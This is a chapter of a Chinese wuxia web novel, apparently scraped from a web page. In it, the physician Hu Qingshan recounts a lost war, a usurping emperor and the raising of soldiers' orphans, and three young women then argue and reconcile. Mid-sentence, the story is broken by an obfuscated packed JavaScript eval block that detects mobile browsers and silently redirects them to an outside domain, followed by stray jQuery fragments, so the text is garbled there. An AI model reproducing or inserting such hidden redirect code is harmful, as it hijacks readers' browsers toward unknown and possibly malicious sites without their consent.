话说得简单,做起来却难如登天。
他虽是随军大夫,身上没有任何直接证据能证明军饷微薄,他一个没有实权的太医之孙,想要破案,还得从长计议。
也好在他是太医之孙,能摸到权贵边边,若是寻常人家,怕是求告无门。
腿着回京的路上总是难挨的,更让他难受的是发现途径的每座城都被侵袭了。
他跟在眉单军身后,眉单军拿下一座城,便会展开无差别屠杀掠夺。胡青山陷入了深深的恐慌和绝望——大源最能打的两只军队,都没能歼灭眉单,难道千里江山真的要沦为异族之手了吗?
在京兰城遇到了眉单撤退的队伍,原来他们打到京兰山后,自发撤退了,没人知道原因。
他在京兰山,先后遇到两对小娃娃,看样子不是姐弟就是兄妹。一对已经没了气息,大喇喇的躺在地上,周围都是成人的胳膊腿。看他们全须全尾,身上没有血迹,却瘦得只剩个骨头架子,应该不是被杀,而是活活饿死的。
第二对,他先是看到一个男孩儿在比他高一大截的大孩子身上抢下两个个馒头,被打得头破血流也不放手,还是他介入了一下,那些大孩子才跑开,不然肯定会被活活打死。
后来看到小男孩将略略干净的那个藏在袖口里,自己则吃长满霉的馒头,胡青山问这是为何,他答,留给妹妹。
胡青山动了恻隐之心,所有盘缠都给了那小男孩。
自己则先就地找了家医馆做药工。
医馆人来人往,消息也灵通,三个月后,李文皇帝已驾崩的消息传来。
胡青山寻思盘缠凑得也差不多了,便辞了工往回走。
快马加鞭到长安城外,皇城已然易主,当今圣上就是那李才良。
程以宁疑惑:“不是有个小太子吗?他怎么没登基?”
胡青山看了她一眼,冷冰冰吐出两个字:“死了。”
“死了?”
“怎么会?”秦双仪也不知道这么多隐情,震惊程度不亚于程以宁,“眉单军不是撤退了吗?难道被人下毒害死了?”
胡青山没说话,坐在树下仰望着,白云,红日,仍然挂在蓝天上,一如十五年前……
后来他才知道,李文其实早就驾崩了,跟关萧两家全军覆没同一天,为稳朝政,执政的如意长公主和萧皇后将消息隐瞒下来。
眉单军兵分两路,一路在城外挑衅叫嚣,另一路入侵皇宫。随即,大量财宝被抢,李家嫡脉被杀绝。在城外御敌的李才良姗姗来迟,留住了财宝,没留住太子。
李才良当皇帝,朝中大臣有无反对者,胡青山不清楚,因为将这些消息带给他的是御史台言官栾伯儒。
此人与他爷爷交好,偶遇后,第一件事就是叫他不要急着回京城。
因为新帝的言语举动,都不很亲近朝中的老旧臣,就连有人提议抚恤战死的将士都敷衍揭过。
要知道,他可是新帝,正是需要与朝臣建立信任度的时期,却一反常态搁置抚恤战士家人,不可谓不奇怪。
胡青山拖栾伯儒向他爷爷报平安,在长安城外随便找个活计糊口。
新帝对先朝颇为忌惮,登基半年,先后下了数十位前朝重臣,最后还是在御史大夫为首的栾伯儒携百官劝谏下才暂缓针对前朝旧臣。
胡青山觉着城外怕是也待不下去了,便往边塞走,途中路遇两位军中相熟之人,喜不自胜。
一位是管理兵器的卫尉寺,另一个则是胡太医的孙子胡青山,他们对军饷被贪图一时十分气愤,暗自藏下两箱没开封的兵器,转移途中遇到劫匪,那卫尉寺深受重伤,时日不多,他拜托张弓、胡青山守好这些罪证,来日有翻案的可能,便将此承上。一定不能让后人也遭此劫难。
二话不说应了下来。器械师已经将箱子做过处理,确保里面的器械可以保存很久很久。
在守兵器之前,胡青山还要去完成一件心事。
在大战前一天,他的一个好兄弟将身上唯一值钱的金簪子交由他保管,若是能活着便重新交给他,若是死了就请胡青山交给他母亲的。
先前一直惦记回家,便搁置了这件事,眼下一时半会回不去了,就先了了好兄弟的夙愿吧。
拖着两大箱子行走不便,于是他们兵分两路,在约定的地点一起将兵器箱埋下。张弓本来是想给先太子李君回立个衣冠冢,他守着坟,又怕太招摇便随便编了个名字刻上去。
器械守了半年,胡青山回来了,还抱回来一个男婴。
此男婴是萧明树的遗腹子。张弓大惊。
萧明树是有婚约,但未完婚,何来的遗腹子,胡青山道:“其母正是栾家姑娘。”
原来,萧明树离京时,栾盈盈自己也不知道已有身孕,一个月后,听说前线战事吃紧,栾盈盈不辞而别连忙往那儿赶,一个女儿家,带着两个婢女颠沛,途中之艰难可想而知,途中发现自己已有身孕,当即决定不去前线了,为了孩子。得知战败的消息,栾盈盈凭借记忆,联系了一些将士家属,果然如她所料,妇孺们生活得很艰难,于是选择在扬州安置下来。
选扬州,无非是当时此地经济发达,其中万家布庄更是如日中天,妇孺们容易讨口饭吃,孩子们再养大些,去水南口码头搬搬货物,再读读书。
胡青山到扬州时,栾盈盈已经不行了,生产落下病根,平日又不好养着,大限已至。
肖栾被托付给了这两人,后来大都是张弓在带。
看样子李才良是不预备优待家属了,胡青山张弓一合计,打算将人都归拢起来,再以组织江湖帮派为由招些饿着肚子但尚有力气的青壮年,劫富济自己。
血雨盟,这名字既激起一些热血男儿的志气,又为祭奠雨天里逝去的一万英魂。
打打杀杀经历了多久,这些秘密就揣了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803543|173031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多久,他几乎都要忘了家人的模样,忘记祖父对他谆谆善诱的感觉。
不过三十岁,仿佛经历了几百年。他同张弓拖着这群遗孤,走得太累了。如今有人接手,他求之不得。
张弓为人谨慎,没有十足的把握,是不会在临终前交代交易可以做。
于是她们一问,就竹筒倒豆子全盘托出了。
说出来,身体松快了很多,胡青山站起身,抖抖身上的土,故事讲完了,他也该走了。
此时,正是晌午,胡青山佝偻着肩,一步一脚地往回走,阳光将胡青山的影子越拉越长。
三个姑娘齐齐望向那越来越小的黑点,秦双仪问:“你们觉得他说的,有几分真啊?”
“看表情,都是真的。”程以宁道:“他也没有骗我们的必要。”
“而且,周掌教一定知道得比他更多。”
听出她话里带刺,周梦蝶少见地不想回怼,“我要是你就不会祸水引东急于树敌,毕竟祖父死得这么不体面,怎么也得报仇不是?”
果然,评价程倾的那段话决计不是她的真正想法。
程以宁眼神一冷,道:“一想到家祖保护的人里,有你这种不知尊重的人,我就替他感到不值。”
周梦蝶并不恼,“你是程老血亲,可不代表你有同样的风骨,你还代表他?你有什么资格代表他,你敢像他那样为国而生为民而死吗?”
“我做不到,”程以宁十分坦然,“所以更加崇拜钦佩,引以为豪。而不是说他‘死得不体面’。”
“一个国家,能长久稳定地运行着,一定因为有许许多多的‘程倾’托举着,小到一粒米,大到一句政治决策,建议谏言,都很重要。这就是‘天生我材必有用’。”
“就比如我,从前只知道吃喝玩乐,听了胡青山说的这许多事,不免热血起来。若这个国家,日后有用得着我的地方,一定全力以赴。”
当然哈,前提是她不会死。
秦双仪道:“以宁妹妹,说得真好,有些人上来就怼素质真低。”
不知是不是被秦双仪说的,周梦蝶皱着眉,噙着泪,似是要哭。
秦双仪:“喂喂喂,哭什么,不许哭,没得以为我们欺负你。”
周梦蝶白了她一眼,指节在眼眶下摁了摁,硬是把泪摁进去了,视线不带温度地落在程以宁脸上,“好了,你的确与你爹不是同一类人。我为我方才的冒犯道歉。”说着,深深鞠了一躬。
“我叫周梦蝶,日后若有需要,来桃花源找我。”
这算是……成为了朋友?
还是她单方面宣布的那种。
老实说除了会武功,周梦蝶真的很不像江湖中人。她的言行举止都似蝴蝶,翩然轻逸,接人待物也比寻常人多一分细腻。
倘或,是第一次见,程以宁绝对会认为周梦蝶是官小姐,秦双仪才是不拘小节的江湖儿女。